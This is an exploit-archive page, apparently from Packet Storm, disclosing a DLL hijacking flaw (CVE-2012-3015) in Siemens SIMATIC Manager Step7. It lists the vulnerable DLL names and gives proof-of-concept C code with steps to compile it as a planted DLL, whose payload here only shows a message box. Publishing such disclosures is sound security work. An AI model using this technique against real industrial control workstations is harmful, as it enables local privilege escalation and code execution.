what you don't know can hurt you

SIMATIC Manager Step7 5.5 SP1 DLL Hijacking

SIMATIC Manager Step7 5.5 SP1 DLL Hijacking
Posted Dec 21, 2016
Authored by Amir.ght

SIMATIC Manager Step7 version 5.5 SP1 suffers a dll hijacking vulnerability.

tags | exploit
systems | windows
MD5 | d93f820e446af7c8348f7f2f16a1deb8

SIMATIC Manager Step7 5.5 SP1 DLL Hijacking

Change Mirror Download
#######################################################
# Exploit Title: SIMATIC Manager Step7 DLL Hijacking
# Cve : 2012-3015
# Author: Ashiyane Digital Security Team
# Vendor Homepage: siemens.com
# Version: >=5.5 SP1
# Tested on:Windows 7
# Exploit by : Amir.ght
########################################################
Description:
Company Name: SIEMENS AG
Product Name: SIEMENS STEP 7/S7(TM) Programmable Controller
SIMATIC-Manager:
The SIMATIC Manager manages all data belonging to an automation project,
regardless of the target system (SIMATIC S7, SIMATIC C7 or SIMATIC WinAC) on which they are implemented.
It provides a common entry point for all SIMATIC S7, C7 or WinAC tools.
The SIMATIC software tools that are necessary for processing the selected data are automatically started by SIMATIC Manager.

Untrusted search path vulnerability in Siemens SIMATIC STEP7 before 5.5 SP1,
as used in SIMATIC PCS7 7.1 SP3 and earlier and other products,
allows local users to gain privileges via a Trojan horse DLL in a STEP7 project folder.

vulnerabe DLLs:
aC/ winsock32.dll
aC/ s7acalxx.dll
aC/ s7wsilrx.dll
aC/ s7wlclrx.dll
aC/ s7ousbpx.dll And Many Others

###############################################################
# PROOF OF CONCEPT:
For Test this vulnerability we can compile bellow code and rename outfile to
winsock32.dll or s7acalxx.dll and copy dll file to directory of simiatic program.
after opening program malicious dll will be executed
..........................................
//gcc exploit.c -o winsock32.dll -shared
//this dll show a message box

#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
dll_hijack();
return 0;
}

int dll_hijack()
{
MessageBox(0, "DLL Hijacking!", "DLL Message", MB_OK);
return 0;
}
Login or Register to add favorites

File Archive:

July 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    15 Files
  • 2
    Jul 2nd
    19 Files
  • 3
    Jul 3rd
    11 Files
  • 4
    Jul 4th
    0 Files
  • 5
    Jul 5th
    0 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    0 Files
  • 9
    Jul 9th
    0 Files
  • 10
    Jul 10th
    0 Files
  • 11
    Jul 11th
    0 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close